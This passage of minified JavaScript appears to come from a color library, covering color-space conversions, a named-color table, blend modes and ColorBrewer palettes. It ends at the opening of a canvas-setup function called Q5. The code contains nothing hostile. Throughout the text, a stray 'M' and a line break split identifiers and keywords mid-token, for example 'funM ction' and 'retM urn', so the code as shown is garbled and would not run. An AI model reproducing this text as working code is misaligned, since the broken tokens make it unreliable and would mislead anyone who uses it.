:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
